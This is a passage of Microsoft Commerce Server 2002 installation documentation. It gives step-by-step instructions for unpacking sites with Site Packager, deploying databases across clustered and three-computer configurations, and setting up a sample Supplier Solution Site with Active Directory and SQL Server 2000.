    SQL Server Login Name | Type the SQL Server login name that will be used to access the Administration database. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').
    SQL Server Login Password | Type the password for the SQL Server login. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').
  7. Click Next.
  8. In the Services Accounts dialog box, do the following:
    Use this | To do this
    Username | Type the Windows user name of the account under which the Commerce Server services will run on this computer.
    Password | Type the password for the Windows account.
    Domain | Type the domain for the Windows account.
  9. Click Next.
  10. In the Ready to Install dialog box, click Install.

    Commerce Server Setup installs the Analysis and Data Warehouse features onto the SQL Server cluster.

  11. To exit the Setup program, click Finish.

Step 3: To unpack your Web site and applications

  1. On the Web server you want to unpack on, click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, and then click Commerce Sites.
  3. Right-click Commerce Sites, point to New, and then click Unpack Site.
  4. In the Unpack Site From dialog box, navigate to the folder that contains the package file you want to unpack, select the package file, and then click Open.

    Commerce Server Site Packager is started.

  5. In the Unpack dialog box, select Custom unpack, and then click Next.

    The following figure shows the Unpack dialog box.

  6. In the Unpack Method dialog box, select Create a new site, and then click Next.

    The following figure shows the Unpack Method dialog box.

  7. In the Site Name dialog box, in the Site name box, type the name for the site or accept the default name, and then click Next.

    The following figure shows the Site Name dialog box.

    Site Name dialog box

    Notes

    • To avoid unpacking errors, do not use special characters (including /, \, ?, &, <, >, :, *, |, #, @, %, and ') in your site name. By default, the database names of a site are prefixed with the site name, and special characters might not be recognized in SQL Server.
    • Do not specify a site name of more than 127 characters.
    • Do not name your site "Commerce." This is a reserved online analytical processing (OLAP) database name. Naming your site "Commerce" could cause the overwriting of your OLAP database the next time you unpack a site.
    • Do not use any of the following words as the site name:

      "App Default Config," "BDSecurity," "Biz Data Service," "Campaigns," "Direct Mail," "Global Data Warehouse," "Predictor," "Product Catalog," "Site CS Authentication," "Site Data Warehouse," "Transaction Config," or "Transactions."

  8. In the Select Resources dialog box, keep all of the resources in the list on the right, except Direct Mail. To remove Commerce Server Direct Mailer, select Direct Mail, and then click Remove. The following figure shows the Select Resources dialog box.

    Select Resources No DM dialog box

  9. If you are not installing the Predictor resource, select Predictor, and then click Remove.

    Notes

    • You must install the CS Authentication and Profiles resources together. They do not work unless both are installed.
    • Commerce Server 2002 Standard Edition does not support the Predictor Resource.
  10. In the Global Resource Pointers dialog box, click Next.

    You use the Global Resource Pointers dialog box to map to existing global resources or to create new ones. You also use this dialog box when you have already unpacked global resources onto your computer and you now want to unpack global resource pointers in a site that will use those global resources.

    The following figure shows a sample screen of the Global Resource Pointers dialog box.

    Global Resource Pointers No DM dialog box

    In the Database Connection Strings dialog box, Site Packager lists the databases it will use and the servers on which they exist. The following figure shows how the Database Connection Strings dialog box appears with default settings.

    Database Connection Strings 1, example A

  11. In the Database Connection Strings dialog box, click New Database. Because you are putting the databases on the database server cluster, you need to create the databases.
  12. In the New Database dialog box, do the following:
    Use this | To do this
    SQL Server computer | Type the name of the SQL Server cluster.
    Database name | Type the name you want for the Data Warehouse database.
    SQL user name | To create a new database, you must use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').
    SQL password | Type the SQL Server login password. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').

    The following figure shows the New Database dialog box.

    New Database dialog box

  13. Click Create database to create the new database.

    The other data stores (such as catalogs and transactions) will be stored in another database on the database server cluster. You will also need to create these databases.

    The databases are created on the database server cluster.

  14. When you return to the Database Connection Strings dialog box, select Global Data Warehouse, and then click Modify.
  15. In the Data Link Properties dialog box, on the Connection tab, in the Select or enter a server name box, type the name of the database server cluster. In the Select the database on the server box, select the name you assigned to the Data Warehouse database that you created, and then click OK.

    Note

    • Make sure the Allow saving password box is selected. If it is not selected, Site Packager will not create the database.

    The following figure shows the Data Link Properties dialog box.

    Data Link Properties dialog box, DW

  16. Repeat steps 14 and 15 for each of the other databases that you created.

    The following figure shows how the Database Connection Strings dialog box appears after you modify it.

    Database Connection Strings 2, example A

  17. Click Next.
  18. In the Select Applications dialog box, verify that the applications you want to unpack are selected, and then click Next. The following figure shows the Select Applications dialog box.

    Select Applications dialog box

  19. In the Select IIS Web Sites and Virtual Directories dialog box, verify that the IIS Web site and IIS path for each application is correct. To change the IIS Web site for an application, select the application in the list and choose the IIS Web site from the drop-down list.

    To change the name of the virtual directory for an application, select the application in the list. In the IIS virtual directory box, type the name you want.

    Notes
    • To avoid IIS errors, do not use special characters (such as #, @, %, and ') in your IIS virtual directory names.
    • Site Packager does not support unpacking a site on a remote computer.
    • Site Packager unpacks each application under the home directory of its corresponding IIS Web site. Within the home directory, Site Packager creates a subfolder using the IIS virtual directory name of the application.

    The following figure shows the Select IIS Web Sites and Virtual Directories dialog box.

    Select IIS Web Sites and Virtual Directories dialog box

  20. Click Next.
  21. If the Data Warehouse dialog box appears, do the following:
    Use this | To do this
    Name | Type the name you want to give to the global Data Warehouse resource.
    Server | Type the name of the SQL Analysis (OLAP) computer.
    Database | Type the name of the Analysis (OLAP) database to use.
  22. Click Next.
  23. If the first Profiling System dialog box appears, do the following:
    Use this | To do this
    Profile Schema Definition | Specify the profile schema definition to import.
    Site Terms Definition | Specify the site terms definition to import.
    Expression Definition | Specify the expression definition to import.
  24. Click Next.
  25. If the second Profiling System dialog box appears, do the following:
    Use this | To do this
    Profiling System Connection String | Specify the files to import into the OLEDB data store. Click Modify to specify a different database.
    Schema definition scripts (*.sql, *.vbs) | Specify the schema definition scripts to import.
    Data population scripts (*.sql) | Specify the data population scripts to import.
  26. Click Next.
  27. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  28. To close Site Packager, click Finish.

Notes

  • Immediately after you install your site, and any time you make major configuration changes to your Commerce Server deployment, you might want to back up your Administration database with a different name. You can use this backup to roll back any changes that are made later, if necessary.
  • Do not run more than one instance of Site Packager on a computer at a time.

See Also

Using Scripts with Site Packager


Installing on a Three-Computer Non-Clustered Configuration

You use Commerce Server Site Packager to deploy site resources from any Commerce Server 2002 computer into the Administration database. If you have three computers, for example, you could install Commerce Server on your Web server, and then deploy your Commerce Server databases onto a different computer. You could configure them as follows:

  • Computer A. Used for the Administration database and administration tools. You will use this computer to manage Commerce Server.
  • Computer B. Used for the Data Warehouse and other databases.
  • Computer C. Used as the Web server, and contains the Active Server Pages (ASP) for your application.

These instructions assume you have installed Microsoft Windows 2000 Server on all three computers, and Microsoft SQL Server 2000 on Computers A and B. If you have not yet done so, see Installing Commerce Server for instructions.

Important

  • Windows Integrated Security is the recommended configuration for a Commerce Server installation. This is also known as Windows Authentication. In Windows Integrated Security, Windows user accounts are used to authenticate to SQL Server. For more information about Windows Authentication, see Using Window Authentication.
  • It is recommended that you use strong passwords. For more information about strong passwords, see Using Strong Passwords.

Step 1: Install Commerce Server on Computer A

Step 2: Install Commerce Server on Computer B, selecting only the Data Warehouse

Step 3: Install a Commerce Server Web server on Computer C

Step 4: Unpack your site from Computer A

Step 5: Add the Commerce Server Web server (Computer C) to your application

Step 1: Install Commerce Server on Computer A

  1. Insert the Commerce Server 2002 compact disc into your CD-ROM drive, and run the Commerce Server 2002 Setup program. Accept the license agreement, type your customer information, and accept the default destination folder.
  2. In the Setup Type dialog box, select Custom, and then click Next.
  3. In the Custom Setup dialog box, under the Runtime Objects folder, verify that the Analysis and Data Warehouse option is not selected (the check box should have an X in it, indicating that you are not selecting it). Select the other features you want to install, such as Predictor.
  4. In the Administration Database Configuration dialog box, do the following:
    Use this | To do this
    SQL Server Computer | Type the computer name for the database server (Computer B).
    SQL Server Login Name | Type the SQL Server login for this computer. To create a new database, you must use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid online analytical processing (OLAP) errors, do not use special characters (such as #, @, %, and ').
    SQL Server Login Password | Type the SQL Server password for this computer. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').
  5. Click Next.
  6. In the Services Accounts dialog box, do the following:
    Use this | To do this
    Username | Type the Windows user name of the account under which the Commerce Server services will run on this computer.
    Password | Type the password of the Windows account.
    Domain | Type the domain of the Windows account.
  7. Click Next.
  8. In the Ready to Install dialog box, click Install.

    Commerce Server Setup installs the features you specified on Computer A, including the administration tools. You can use this computer to manage your Commerce Server installation.

  9. To exit the Setup program, click Finish.

Step 2: Install Commerce Server on Computer B, selecting only the Data Warehouse

  1. Insert the Commerce Server 2002 compact disc into your CD-ROM drive, and run the Commerce Server 2002 Setup program. Accept the license agreement, type your customer information, and accept the default destination folder.
  2. In the Setup Type dialog box, select Custom, and then click Next.
  3. In the Custom Setup dialog box, under the Runtime Objects folder, select the Analysis and Data Warehouse option, and then clear the other options, except for Direct Mailer Service, if you plan to use it. Click Next.
  4. In the Administration Database Configuration dialog box, do the following:
    Use this | To do this
    SQL Server Computer | Type the computer name for the database server (Computer B).
    SQL Server Login Name | Type the SQL Server login for this computer. To create a new database, you must use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid online analytical processing (OLAP) errors, do not use special characters (such as #, @, %, and ').
    SQL Server Login Password | Type the SQL Server password for this computer. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').
  5. If you are installing Direct Mailer, in the Direct Mailer Database Configuration dialog box, do the following:
    Use this | To do this
    SQL Server Computer | Accept the default (Computer B).
    SQL Server Login Name | Type the SQL Server login for this computer. To create a new database, you must use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').
    SQL Server Login Password | Type the SQL Server password for this server. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').
  6. In the Services Accounts dialog box, type the Windows user name and the password for the account under which the Commerce Server services will run on this computer, and then click Next.
  7. In the Ready to Install dialog box, click Install.

    Commerce Server Setup installs the Analysis and Data Warehouse features onto Computer B.

  8. To exit the Setup program, click Finish.

Step 3: Install a Commerce Server Web server on Computer C

  1. Insert the Commerce Server 2002 compact disc into your CD-ROM drive, and run the Commerce Server 2002 Setup program using the Web Server installation option. Accept the license agreement, type your customer information, and accept the default destination folder.
  2. Click Next.
  3. In the Administration Database Configuration dialog box, do the following:
    Use this | To do this
    SQL Server Computer | Type the computer name for the database server (Computer B).
    SQL Server Login Name | Type the SQL Server login for this computer. To create a new database, you must use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid online analytical processing (OLAP) errors, do not use special characters (such as #, @, %, and ').
    SQL Server Login Password | Type the SQL Server password for this computer. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').
  4. Click Next.
  5. In the Services Accounts dialog box, type the Windows user name and the password for the user granted access to Commerce Server services on this computer. Then click Next.
  6. In the Ready to Install dialog box, click Install.

    Commerce Server Setup installs the Run-time Objects and Commerce Server Site Packages onto Computer C.

  7. To exit the Setup program, click Finish.

Step 4: Unpack your site from Computer A

  1. On Computer A, click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, and then click Commerce Sites.
  3. Right-click Commerce Sites, point to New, and then click Unpack Site.
  4. In the Unpack Site From dialog box, navigate to the folder that contains the package file you want to unpack, select the package file, and then click Open.

    Commerce Server Site Packager is started.

  5. In the Unpack dialog box, select Custom unpack, and then click Next. The following figure shows the Unpack dialog box.

  6. In the Unpack Method dialog box, select Create a new site, and then click Next. The following figure shows the Unpack Method dialog box.

  7. In the Site Name box, the default name for the site appears. Change the name as needed, and then click Next.

    Notes

    • To avoid unpacking errors, do not use special characters (including /, \, ?, &, <, >, :, *, |, #, @, %, and ') in your site name. By default, the database names of the site are prefixed with the site name, and special characters might not be recognized in SQL Server.
    • Do not specify a site name of more than 127 characters.
    • Do not name your site "Commerce." This is a reserved OLAP database name. Naming your site "Commerce" could cause the deletion of your OLAP database the next time you unpack a site.
    • Do not use any of the following words as the site name:

      "App Default Config," "BDSecurity," "Biz Data Service," "Campaigns," "Direct Mail," "Global Data Warehouse," "Predictor," "Product Catalog," "Site CS Authentication," "Site Data Warehouse," "Transaction Config," or "Transactions."

  8. In the Select Resources dialog box, select all of the resources. If you are not installing Commerce Server Direct Mailer, select Direct Mail, and then click Remove. If you are not installing the Predictor resource, select Predictor, and then click Remove. The following figure shows the Select Resources dialog box.

    Select Resources All dialog box

    Note

    • You must install the CS Authentication and Profiles resources together. They do not work unless both are installed.
  9. In the Global Resource Pointers dialog box, click Next.

    You use this screen to map to existing global resources or to create new ones. You also use this dialog box when you have already unpacked global resources onto your computer and you now want to unpack global resource pointers in a site that will use those global resources.

    In the Database Connection Strings dialog box, Site Packager lists the databases it will use and the servers on which they exist.

  10. Because you are putting the Data Warehouse on a different computer, you need to create the database. To create a database called Blank_dw for the Data Warehouse on Computer B, click New Database.
  11. In the New Database dialog box, do the following:
    Use this | To do this
    SQL Server computer | Type the name of the SQL Server computer (Computer B).
    Database name | Type Blank_dw for the Data Warehouse database.
    SQL user name | To create a new database, you must use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').
    SQL password | Type the SQL Server login password. To avoid OLAP errors, do not use special characters (such as #, @, %, and ').

    The following figure shows the New Database dialog box.

    New Database dialog box, example B,1

  12. Click Create database. The Blank_dw database is created on Computer B.
  13. When you return to the Database Connection Strings dialog box, click New Database.

    You are also putting the other Commerce Server databases on Computer B.

  14. To create a separate database called Blank_commerce to group these databases, repeat Step 11 and type Blank_commerce in the Database name box. The following figure shows the New Database dialog box with the Blank_commerce database.

    New Database dialog box, example B, 2

  15. Click Create Database. The Blank_commerce database is created on Computer B.
  16. When you return to the Database Connection Strings dialog box, select Data Warehouse, and then click Modify.
  17. In the Data Link Properties dialog box, in the Select or enter a server name box, type the name of Computer B. In the Select the database on the server box, select the name (Blank_dw) you assigned to the Data Warehouse that you created on Computer B, and then click OK.

    Note

    • Make sure the Allow saving password box is selected. If it is not selected, Site Packager will not create the database.

    The following figure shows the Data Link Properties dialog box.

    Data Link Properties dialog box, blank_dw

  18. When you return to the Database Connection Strings dialog box, select all of the other databases (besides Data Warehouse), and then click Modify.
  19. In the Data Link Properties dialog box, in the Select or enter a server name box, type the name of Computer B. In the Select the database on the server box, select the name (blank_commerce) you assigned to the database, and then click OK.

    Note

    • Make sure the Allow saving password box is selected. If it is not selected, Site Packager will not create the database.

    The following figure shows how the Database Connection Strings dialog box appears after you modify it.

    Database Connection Strings dialog box, example B

  20. Click Next.
  21. In the Select Applications dialog box, verify that the applications you want to unpack are selected, and then click Next. The following figure shows the Select Applications dialog box.

  22. In the Select IIS Web Sites and Virtual Directories dialog box, verify that the Internet Information Services (IIS) 5.0 Web site and IIS path for each application is correct. To change the IIS Web site for an application, select the application in the list and choose the IIS Web site from the drop-down list.

    To change the name of the virtual directory for an application, select the application in the list. In the IIS virtual directory box, type the name you want.

    Note

    • To avoid IIS errors, do not use special characters (such as #, @, %, and ') in your IIS virtual directory names.
    • Site Packager does not support unpacking a site on a remote computer.
    • Site Packager will unpack each application under the home directory of its corresponding IIS Web site. Within the home directory, Site Packager creates a subfolder using the IIS virtual directory name of the application.

    The following figure shows the Select IIS Web Sites and Virtual Directories dialog box.

  23. In the Data Warehouse dialog box, do the following:
    Use this | To do this
    Name | Type the name you want to give to the global Data Warehouse resource.
    Server | Type the name of the SQL Analysis Services (OLAP) computer.
    Database | Type the name of the Analysis (OLAP) database to use.
  24. Click Next.
  25. If the first Profiling System dialog box appears, do the following:
    Use this | To do this
    Profile Schema Definition | Specify the profile schema definition to import.
    Site Terms Definition | Specify the site terms definition to import.
    Expression Definition | Specify the expression definition to import.
  26. Click Next.
  27. If the second Profiling System dialog box appears, do the following:
    Use this | To do this
    Profiling System Connection String | Specify the files to import into the OLEDB data store. Click Modify to specify a different database.
    Schema definition scripts (*.sql, *.vbs) | Specify the schema definition scripts to import.
    Data population scripts (*.sql) | Specify the data population scripts to import.
  28. Click Next.
  29. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  30. To close Site Packager, click Finish.

Step 5: Add the Commerce Server Web Server (Computer C) to your application

  1. On Computer C, the Web server that you want to add to the application, expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, and then click the name of the application to which you want to add the Web server. Right-click the application name, point to New, and then click Add Web server.

    The Open dialog box appears containing a list of the existing package files.

  3. In the Open dialog box, select the package file that contains the Web server files you want to add to the Web server, and then click Open.

    Commerce Server Site Packager is started.

  4. The Select IIS Web Sites and Virtual Directories dialog box displays the name of the IIS Web site where the application will be installed and the IIS virtual directory for each Commerce application. This information is read-only; the IIS Web site and virtual directory must be the same across all Web servers in the application. Click Next.

    Site Packager adds your files to the Web server, and then adds the Commerce Web server object to the selected application. When you open Commerce Server Manager, the Commerce Web server object appears under the application.

    Note

    • Site Packager does not support unpacking a Web server on a remote computer.
  5. In the Unpacking is complete! dialog box, review the log file, and then click Finish.

After you add a Web server to an application, the Commerce Web server object appears under the application node in Commerce Server Manager. The Commerce Web server object contains properties required by the Data Warehouse resource to import log files: server name, Internet Protocol (IP) address, log file path, and log file period. These properties are automatically populated from IIS when you add a Commerce Web server object to an application. For instructions about configuring these Web server properties, see Configuring a Web Server.

Notes

  • Immediately after you install your site, and any time you make major configuration changes to your Commerce Server deployment, you may want to back up your Administration database with a different name. You can use this backup to roll back any changes that are made later.
  • Do not run more than one instance of Site Packager on a computer at a time.

See Also

Configuring a Web Server


Installing the Sample Supplier Site

This topic explains how to configure two computers for a Supplier Solution Site that uses both Active Directory and SQL Server 2000. You can perform these steps to build a supplier site for evaluation and testing purposes. You can set up a supplier site in one of several ways by using Windows 2000, Domain Name System (DNS) servers, and local intranets, depending on the requirements of your company.

Following is an overview of the steps you must perform to set up the sample configuration. Each of these steps is explained in detail in this topic.

  1. Step 1: Configure Active Directory and DNS on Computer 1, and then promote it to an Active Directory domain controller.
  2. Step 2: Configure Computer 2.
  3. Step 3: Enable Trust Delegation on Computer 1.
  4. Step 4: Configure Log On Locally User Rights on Computer 1.
  5. Step 5: Install Server Software on Computer 2.
  6. Step 6: Unpack the Supplier Solution Site on Computer 2.
  7. Step 7: Verify Software Configuration on the Two Computers.
  8. Step 8: Enable AuthFilter for the Supplier Solution Site.
  9. Step 9: Install the Business Desk client.
  10. Step 10: Verify Business Desk and Supplier Site configuration.
  11. Step 11: Edit ASP Files.

These steps assume that:

  • You have experience installing Windows 2000 Advanced Server, Windows 2000 Server, Commerce Server 2002, and SQL Server 2000.
  • You are creating a new domain (Active Directory) for the first time.
  • You are creating a new DNS server.
  • You are using mixed mode authentication for your SQL Server, and Basic authentication for your Web server. If you want to use this configuration in an Internet scenario, you should also enable Hypertext Transfer Protocol Secure (HTTPS) for your Web server.


Step 1: Configure Active Directory and DNS on Computer 1

You configure the first computer for Active Directory and DNS, and then promote it to an Active Directory domain controller. Active Directory will store sensitive user profile data such as user name and password. The remaining non-sensitive profile data will be stored in the SQL Server database.

To configure Computer 1

  1. Install Windows 2000 Advanced Server, using the Default installation.
    • Use only alphanumeric characters in the computer name.
    • Format the partition with Windows NTFS file system where Windows 2000 is to be installed.
    • Make sure that Internet Information Services (IIS) is not selected in the Windows 2000 Components screen.
  2. Install Windows 2000 Service Pack 2 (SP2) and the required hotfixes specified at http://go.microsoft.com/fwlink/?LinkId=6125.
  3. Open Control Panel, and then use Network and Dial-up Connections to configure the static Internet Protocol (IP) address, Subnet mask, and Default gateway. Use the static IP address of the domain controller as the Preferred DNS Server. For detailed instructions, see "Configure TCP/IP to use DNS" and "Configure TCP/IP to use WINS" in Windows 2000 Server Help.

    For additional networking information, see the Microsoft Windows 2000 Server Resource Kit.

To promote Computer 1 to an Active Directory domain controller, you must use the Active Directory Installation Wizard to specify that this computer is the domain controller.

To promote Computer 1 to a domain controller

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type dcpromo, and then click OK.
  3. In the Active Directory Installation Wizard, click Next.
  4. In the Domain Controller Type dialog box, select Domain controller for a new domain, and then click Next.
  5. In the Create Tree or Child Domain dialog box, select the Create a new domain tree option, and then click Next.
  6. In the Create or Join Forest dialog box, select Create a new forest of domain trees, and then click Next.
  7. In the New Domain Name dialog box, in the Full DNS name for new domain box, type the full DNS name for the new domain (for example, wideworldimporters.com).
  8. In the NetBIOS Domain Name dialog box, in the Domain NetBIOS name box, type the name (for example, wideworldimporters) that users of earlier versions of Windows will use to identify the domain. It is recommended that you accept the default, which is a shortened version of the full DNS name. Click Next.
  9. In the Database and Log Locations dialog box, select the location where you want to place your log files.
  10. In the Shared System Volume dialog box, accept the default settings, unless you have a specific reason to change them.
  11. If DNS is not installed on your computer, you will be prompted to install it. Select Yes, install and configure DNS on this computer, and then click Next.
  12. In the Permissions dialog box, select the Permissions compatible only with Windows 2000 servers option, and then click Next.
  13. In the Directory Services Restore Mode Administrator Password dialog box, do the following:
    Use this | To do this
    Password | Type the password that you want to assign to the Administrator account for the server.
    Confirm password | Type the password again to confirm it.
  14. Click Next.
  15. In the Summary dialog box, review the options you selected to ensure your Active Directory configuration is correct. If it is, click Next to start the installation process, or to reconfigure your selections, click Back.
  16. During the installation process, you might be required to insert the Windows 2000 CD into the CD-ROM drive.
  17. In the Completing the Active Directory Installation Wizard dialog box, click Finish.
  18. Restart the server.

You have successfully configured Active Directory and DNS on Computer 1. Continue to Step 2: Configure Computer 2.


Step 2: Configure Computer 2

The second computer hosts your Commerce Server databases, such as the Administration database, the Direct Mailer database, and the Commerce Server Data Warehouse database. In addition, it stores non-sensitive user profile data such as last page visited and preferences. On this computer you install SQL Server 2000, and then install Commerce Server. The databases are created by the Commerce Server Setup program.

To configure Computer 2

  1. Install Windows 2000 Advanced Server, using the Default installation.
    • Use only alphanumeric characters in the computer name.
    • Format the partition with Windows NTFS file system where Commerce Server is to be installed.
  2. Install Windows 2000 Service Pack 2 (SP2) and the required hotfixes specified at http://go.microsoft.com/fwlink/?LinkId=6125.
  3. Open Control Panel, and then use Network and Dial-up Connections to configure the static IP address, Subnet mask, and Default gateway on the same subnet as Computer 1. For detailed instructions, see "Configure TCP/IP for static addressing" in Windows 2000 Server Help.
  4. Use Network and Dial-up Connections to configure the preferred DNS servers list to point to the IP address of the Active Directory server (Computer 1, which in turn is hosting the DNS server) for DNS lookups. Configure the WINS servers list to point to the Active Directory server. For detailed instructions, see "Configure TCP/IP to use DNS" and "Configure TCP/IP to use WINS" in Windows 2000 Server Help.

    For additional networking information, see the Microsoft Windows 2000 Server Resource Kit.

  5. To join the domain you previously created on Computer 1, do the following:
    • Right-click My Computer, and then click Properties. In the System Properties dialog box, on the Network Identification tab, click Properties.
    • In the Identification Changes dialog box, in the Member of section, select Domain, enter the name of the domain you previously created, and then click OK.
    • Restart the computer.
  6. Install Internet Explorer 6.0 as specified at http://go.microsoft.com/fwlink/?LinkId=6729.

You have successfully installed and configured the software on the second computer. Continue to Step 3: Enable Trust Delegation on Computer 1.


Step 3: Enable Trust Delegation on Computer 1

On Computer 1, enable trust delegation for Computer 2 so that Commerce Server administrators can store user credentials on the Active Directory domain controller (Computer 1).

To enable trust delegation

  1. Click Start, point to Programs, point to Administrative Tools, and then click Active Directory Users and Computers Manager.
  2. In the left pane, expand <domain name>, and then click Computers.
  3. In the right pane, right-click the computer name for Computer 2, and then click Properties.
  4. In the <computer name> Properties dialog box, on the General tab, check the Trust computer for delegation check box. The Active Directory warning message appears.
  5. Read the warning message, and then click OK.
  6. In the <computer name> Properties dialog box, click OK.
  7. Computer 2 is now trusted by the Active Directory domain controller (Computer 1). Continue to Step 4: Configure Log On Locally User Rights on Computer 1.


Step 4: Configure Log On Locally User Rights on Computer 2

To allow domain users to log on to the Supplier Solution Site, you should configure log on locally user rights on computer 2.

To configure log on locally user rights

  1. Click Start, point to Programs, point to Administrative Tools, and then click Local Security Policy.
  2. In Local Security Settings screen, expand Security Settings, expand Local Policies, and then click User Rights Assignment.
  3. In the Policy pane, double-click Log on locally.
  4. In Security Policy Setting dialog box, select the Define these policy settings check box, and then click Add.
  5. In the Add user or group pane, click Browse.
  6. In Select Users or Groups, select the domain from the Look in drop-down list.
  7. Under Name, select Domain Users, click Add, and then click OK.
  8. In Add user or group, click OK.
  9. In Security Policy Setting, click OK.

You have now configured log on locally user rights for the Domain Users account. Continue to Step 5: Install Server Software on Computer 2.


Step 5: Install Server Software on Computer 2

  1. Install SQL Server 2000 and Analysis Services as specified at http://go.microsoft.com/fwlink/?LinkId=6125.
  2. Install SQL Server 2000 Service Pack 2 (SP2) as specified at http://go.microsoft.com/fwlink/?LinkId=6730.
  3. Install Commerce Server as specified at http://go.microsoft.com/fwlink/?LinkId=6125.

    Note the following:

    • In the Setup Type screen, select Complete.
    • In the Administration Database Configuration screen, select the current computer as the SQL Server computer and select the appropriate authentication mode (Windows Integrated Security or SQL Authentication).
      Note
    • Windows Integrated Security is the recommended configuration for a Commerce Server installation. For more information about Windows Authentication, see Using Windows Authentication.
    • In the Direct Mailer Configuration screen, select the current computer as the SQL Server computer.
    • In the Services Accounts screen, check the Use the same account for each service and set all to auto start check box. Enter a Username, Password, and Domain for an account under which the Commerce Server services will run.
    Note
    • You should always use a strong password. For more information about strong passwords, see Using Strong Passwords.
  4. Restart the server after installation.

Once the server restarts, you have properly installed the server software on Computer 2. Continue to Step 6: Unpack the Supplier Solution Site on Computer 2.

See Also

Securing Your Site


Step 6: Unpack the Supplier Solution Site on Computer 2

To run the Business Desk application for the Supplier Solution Site, you will need to unpack the Supplier Solution Site on Computer 2.

To unpack the Supplier Solution Site on Computer 2

  1. Download the Solution Sites packages by running the Microsoft Commerce Server 2002 Solution Sites.msi file at http://go.microsoft.com/fwlink/?LinkId=6491.
  2. Click Start, point to Programs, point to Administrative Tools, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  3. Expand Commerce Server Manager, and then click Commerce Sites.
  4. Right-click Commerce Sites, point to New, and then click Unpack Site.
  5. In the Unpack Site From dialog box, enter the path or navigate to the file supplieractivedirectory.pup that you downloaded in step 1, and then click Open.

    Commerce Server Site Packager is started.

  6. In the Unpack dialog box, select Quick unpack, and then click Next.
  7. In the Quick Unpack dialog box, do the following:
    Use this | To do this
    Site name Type the name for the site, if you want to change it.

    Notes

    • Do not use special characters (including /, \, ?, &, <, >, :, *, |, #, @, %, and ') that might not be recognized by SQL Server databases. For more information, see SQL Books Online.
    • The site name can contain a maximum of 127 characters.
    • Do not name your site "Commerce." This is a reserved OLAP database name. Naming your site "Commerce" could cause the overwriting of your OLAP database the next time you unpack a site.
    • Do not use any of the following words as the site name:

      "App Default Config," "BDSecurity," "Biz Data Service," "Campaigns," "Direct Mail," "Global Data Warehouse," "Predictor," "Product Catalog," "Site CS Authentication," "Site Data Warehouse," "Transaction Config," or "Transactions."

    IIS Web site Select the name of the IIS Web site where the application(s) will be installed.

    Note

    • If you unpack a site onto the IIS Administrative Web site, the site and Business Desk will not function due to IIS administration security limitations.
    SQL Server Computer | Type the name of the SQL Server computer that will contain the databases for the site.
    Use Windows Integrated security Select this option if you want to use integrated Windows authentication. Windows authentication is the recommended configuration.

    Note

    • When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL password resets. For information about Commerce Server security, see Securing Your Site.
    Use a specific user name and password Select this option if you want to use SQL Server authentication when connecting to the databases.

    Note

    • You should always use a strong password when creating passwords. For more information about strong passwords, see Using Strong Passwords.
    SQL Server Login Name Type the SQL Server login name for the databases.

    Note

    • For security purposes, do not use the sa login for access to the databases. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password Type the SQL Server login password for the databases.

    Note

    • You should always use a strong password when creating SQL Server Login passwords. For more information about strong passwords, see Using Strong Passwords.
  8. Click Next.
  9. If the Data Warehouse resource was installed during the installation process, the Data Warehouse dialog box appears. To specify the settings for the Data Warehouse resource, do the following:
    Use this | To do this
    Name | Type a name for your global Data Warehouse resource.
    Server | Type the name of the SQL Analysis Services (OLAP) computer.
    Database | Type the name of the OLAP database to use.
  10. Click OK.
  11. If the Profiles resource was installed during the installation process, the first of two Profiling System dialog boxes appears. To specify the settings for the Profiles resource, do the following:
    Use this | To do this
    Profile Schema Definition | Specify the profile schema definition to import.
    Site Terms Definition | Specify the site terms definition to import.
    Expression Definition | Specify the expression definition to import.
  12. Click Next.
  13. If the Profiles resource was installed during the installation process, the second of two Profiling System dialog boxes appears. To specify the settings for the Profiles resource, do the following:
    Use this | To do this
    Profiling System Connection String | Specify the files to import into the OLEDB data store. Click Modify to specify a different database.
    Schema definition scripts (*.sql, *.vbs) Specify the schema definition scripts to import.

    Note

    • Site Packager uses a default schema definition script. If you modify the UserObject table or other profile schema definitions, you must use SQL Server Enterprise Manager to generate a script to use here. For more information, see Packing Extended Profile Schema.
    Data population scripts (*.sql) | Specify the data population scripts to import.
  14. Click OK.

    Note

    • If you are using Windows Integrated security, in the Commerce Server Site Packager dialog box, review the list of resources that are being unpacked and require access permissions on the appropriate Windows accounts.
  15. In the Profiling System dialog box, type the Domain, User name, and Password for the domain that you previously created. You must type the User name in the form of domain\username. This step allows the user profiles created in the Supplier Solution Site to be stored in Active Directory (Computer 1).
  16. Click OK.
  17. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  18. To close Site Packager, click Finish.

You have successfully unpacked the Supplier Solution Site on the second computer. Continue to Step 7: Verify Software Configuration on the Two Computers.

See Also

Securing Your Site


Step 7: Verify Software Configuration on the Two Computers

To verify that you have configured the software correctly on each computer, perform the following steps:

  1. On each computer, in the Run menu, type nltest /dsgetdc:<Domain-DNS-Name>, and then click OK. This operation must succeed. If it does not, then the configuration is not correct.

